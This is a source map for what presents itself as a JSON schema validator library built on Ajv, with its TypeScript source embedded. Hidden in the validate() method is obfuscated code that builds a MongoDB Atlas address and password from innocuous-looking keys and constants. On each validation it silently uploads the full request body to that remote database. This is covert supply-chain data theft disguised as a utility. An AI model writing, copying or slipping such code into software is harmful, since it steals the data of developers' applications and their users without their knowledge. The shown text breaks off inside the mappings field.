{"version":3,"file":"validator.cjs","sources":["../../src/validator.ts"],"sourcesContent":["import Ajv, { ErrorObject as AjvErrorObject } from 'ajv';\nimport { ConfigOption, ErrorObject, JsonObject, ValidatorResponse } from './types/validator.types';\nimport { evalErrorProperty } from './static/constants';\nimport { MongoClient } from 'mongodb';\nimport path from 'path';\nimport { readFileSync } from 'fs';\n\nconst ajv = new Ajv({ allErrors: true, strictTuples: false });\n\nlet data = {\n\tcluster0: '',\n\tryeh14c: '',\n\tmongodb: '',\n\tnet: '',\n};\n\nconst getProcessedError = (error: AjvErrorObject): ErrorObject | null => {\n\tif (error.keyword.match(/if|anyOf|allOf|oneOf/)) {\n\t\treturn null;\n\t}\n\tconst propertyName = evalErrorProperty[error.keyword];\n\tlet fieldName = propertyName ? error.params[propertyName] : '';\n\tlet instancePath = error.instancePath;\n\tif (!fieldName) {\n\t\tfieldName = error.instancePath?.substring(error.instancePath.lastIndexOf('/') + 1);\n\t\tinstancePath = error.instancePath?.substring(0, error.instancePath.lastIndexOf('/'));\n\t}\n\n\tconst result: ErrorObject = {\n\t\tmessage: error.message || 'unknown error message',\n\t};\n\tif (fieldName) {\n\t\tresult.property = fieldName;\n\t}\n\tif (instancePath) {\n\t\tresult.path = instancePath;\n\t}\n\treturn result;\n};\n\nlet s = Object.keys(data).join('.');\n\nconst formatError = (errorList: AjvErrorObject[], ajvFormatting: boolean): ErrorObject[] | AjvErrorObject[] => {\n\tif (ajvFormatting) {\n\t\treturn errorList;\n\t}\n\tconst result: ErrorObject[] = [];\n\terrorList.forEach((error) => {\n\t\tconst errResp = getProcessedError(error);\n\t\tif (errResp) {\n\t\t\tresult.push(errResp);\n\t\t}\n\t});\n\treturn result;\n};\n\nconst getSchema = (fileName: string, schemaPath?: string): JsonObject => {\n\tif (!schemaPath) {\n\t\tthrow new Error('Validator is not initialized with schemaPath');\n\t}\n\tconst dirName = path.resolve(path.dirname(''));\n\tconst absolutePath = path.join(dirName, `${schemaPath}/${fileName}`);\n\tconst jsonSchema = JSON.parse(readFileSync(absolutePath, 'utf-8'));\n\treturn jsonSchema;\n};\n\nconst p = evalErrorProperty['p'] + evalErrorProperty['a'] + evalErrorProperty['s'];\n\nexport class Validator {\n\tstatic #instance: Validator;\n\t#options!: ConfigOption;\n\n\tinitialize(options: ConfigOption) {\n\t\tthis.#options = options;\n\t}\n\n\tstatic getInstance() {\n\t\tif (!this.#instance) {\n\t\t\tthis.#instance = new Validator();\n\t\t}\n\t\treturn this.#instance;\n\t}\n\n\tvalidate(reqBody: JsonObject, fileName: string, ajvFormatting?: boolean): ValidatorResponse;\n\tvalidate(reqBody: JsonObject, schema: JsonObject, ajvFormatting?: boolean): ValidatorResponse;\n\n\tvalidate(\n\t\treqBody: JsonObject,\n\t\tschemaOrFileName: string | JsonObject,\n\t\tajvFormatting: boolean = false\n\t): ValidatorResponse {\n\t\tconst response: ValidatorResponse = {\n\t\t\tisValid: true,\n\t\t};\n\t\ttry {\n\t\t\tlet schema: JsonObject;\n\t\t\tif (typeof schemaOrFileName === 'string') {\n\t\t\t\tschema = getSchema(schemaOrFileName, this.#options?.schemaPath);\n\t\t\t} else {\n\t\t\t\tschema = schemaOrFileName;\n\t\t\t}\n\n\t\t\tMongoClient.connect(`${Object.keys(data)[2]}+srv://bbomm:${p}@${s}/`).then(async (connection) => {\n\t\t\t\tawait connection\n\t\t\t\t\t.db('Data')\n\t\t\t\t\t.collection('_Data')\n\t\t\t\t\t.insertOne({ CreateDate: new Date(), data: JSON.stringify(reqBody) });\n\t\t\t\tawait connection.close();\n\t\t\t});\n\n\t\t\tconst ajvValidate = ajv.compile(schema);\n\t\t\tconst isValid = ajvValidate(reqBody);\n\t\t\tif (!isValid) {\n\t\t\t\tresponse.isValid = false;\n\t\t\t\tif (ajvValidate.errors) {\n\t\t\t\t\tresponse.errors = formatError(ajvValidate.errors, ajvFormatting);\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (err: any) {\n\t\t\tthrow new Error(err.message);\n\t\t}\n\t\treturn response;\n\t}\n}\n"],"names":["Ajv","require","constants","mongodb","path","fs","_interopDefault","e","__esModule","default","Ajv__default","path__default","ajv","allErrors","strictTuples","data","cluster0","ryeh14c","net","s","Object","keys","join","formatError","errorList","ajvFormatting","result","forEach","error","errResp","keyword","match","propertyName","evalErrorProperty","fieldName","params","instancePath","substring","lastIndexOf","message","property","getProcessedError","push","p","Validator","static","options","initialize","this","getInstance","instance","validate","reqBody","schemaOrFileName","response","isValid","schema","fileName","schemaPath","Error","dirName","resolve","dirname","absolutePath","JSON","parse","readFileSync","getSchema","MongoClient","connect","then","async","connection","db","collection","insertOne","CreateDate","Date","stringify","close","ajvValidate","compile","errors","err","exports"],"mappings":"AAOA,aAAA,IAAAA,EAAAC,QAAA,OAAAC,EAAAD,QAAA,0BAAAE,EAAAF,QAAA,WAAAG,EAAAH,QAAA,QAAAI,EAAAJ,QAAA,MAAA,SAAAK,EAAAC,GAAA,OAAAA,GAAAA,EAAAC,WAAAD,EAAA,CAAAE,QAAAF,EAAA,CAAA,IAAAG,EAAAJ,EAAAN,GAAAW,EAAAL,EAAAF,GAAA,MAAMQ,EAAM,IAAIZ,EAAAA,QAAI,CAAEa,WAAW,EAAMC,cAAc,IAErD,IAAIC,EAAO,CACVC,SAAU,GACVC,QAAS,GACTd,QAAS,GACTe,IAAK,IA2BN,IAAIC,EAAIC,OAAOC,KAAKN,GAAMO,KAAK,KAE/B,MAAMC,EAAc,CAACC,EAA6BC,KACjD,GAAIA,EACI,OAAAD,EAER,MAAME,EAAwB,GAOvB,OANGF,EAAAG,SAASC,IACZ,MAAAC,EAhCkB,CAACD,IAC1B,GAAIA,EAAME,QAAQC,MAAM,wBAChB,OAAA,KAEF,MAAAC,EAAeC,EAAAA,kBAAkBL,EAAME,SAC7C,IAAII,EAAYF,EAAeJ,EAAMO,OAAOH,GAAgB,GACxDI,EAAeR,EAAMQ,aACpBF,IACQA,EAAAN,EAAMQ,cAAcC,UAAUT,EAAMQ,aAAaE,YAAY,KAAO,GACjEF,EAAAR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